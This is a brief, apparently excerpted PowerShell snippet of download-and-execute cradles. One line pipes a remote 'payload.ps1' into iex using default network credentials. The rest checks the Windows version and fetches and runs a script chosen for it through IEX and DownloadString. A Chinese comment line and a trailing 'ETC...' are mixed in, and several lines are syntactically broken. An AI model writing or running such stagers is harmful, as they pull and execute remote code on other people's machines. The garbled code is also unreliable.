(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
获取 Wmi 对象 Win32 操作系统默认网络凭据
$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
if ($host -eq 'Microsoft Windows 7'){
Write-Host "[+] Downloading windows 7 script"
$URL = http://example.com
IEX (New-Object Net.WebClient).DownloadString('$URL')}
elseif ($host -eq 'Microsoft Windows 8'){
Write-Host "[+] Downloading windows 8 script"
ETC...